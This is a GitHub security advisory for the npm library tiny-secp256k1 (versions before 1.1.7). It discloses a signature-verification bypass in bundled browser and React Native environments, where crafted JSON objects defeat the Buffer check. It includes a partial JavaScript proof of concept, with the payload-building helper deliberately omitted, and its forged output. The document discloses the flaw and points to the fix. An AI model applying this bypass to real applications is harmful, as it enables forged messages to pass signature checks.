GHSA-5vhg-9xg4-cv9m
tiny-secp256k1 allows for verify() bypass when running in bundled environment
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | tiny-secp256k1 | < 1.1.7 | 1.1.7 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A malicious JSON-stringifyable message can be made passing on `verify()`, when global Buffer is [`buffer` package](https://www.npmjs.com/package/buffer)
### Details
This affects only environments where `require('buffer')` is <https://npmjs.com/buffer>
E.g.: browser bundles, React Native apps, etc.
`Buffer.isBuffer` check can be bypassed, resulting in strange objects being accepted as `message`, and those messages could trick `verify()` into returning false-positive `true` values
v2.x is unaffected as it verifies input to be an actual `Uint8Array` instance
Such a message can be constructed for any already known message/signature pair
There are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example
https://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this
### PoC
This code deliberately doesn't provide `reencode` for now, could be updated later
```js
import { randomBytes } from 'crypto'
import tiny from 'tiny-secp256k1' // 1.1.6
// Random keypair
const privateKey = randomBytes(32)
const publicKey = tiny.pointFromScalar(privateKey)
const valid = Buffer.alloc(32).fill(255) // let's sign a static buffer
const signature = tiny.sign(valid, privateKey)
// Prevent processing any unverified data by fail-closed throwing
function verified(data, signature) {
if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex')
if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!')
return new Uint8Array(data)
}
function safeProcess(payload) {
const totally = JSON.parse(payload) // e.g. json over network
const message = verified(totally, signature)
console.log(message instanceof Uint8Array)
console.log(Buffer.from(message).toString('utf8'))
}
const payload = reencode(valid, "Secure contain protect")
safeProcess(payload)
```
Output (after being bundled):
```console
true
Secure contain protect����
```
### Impact
Malicious messages could crafted to be verified from a given known valid message/signature pair
References
External links from the advisory. They lead to third-party sites.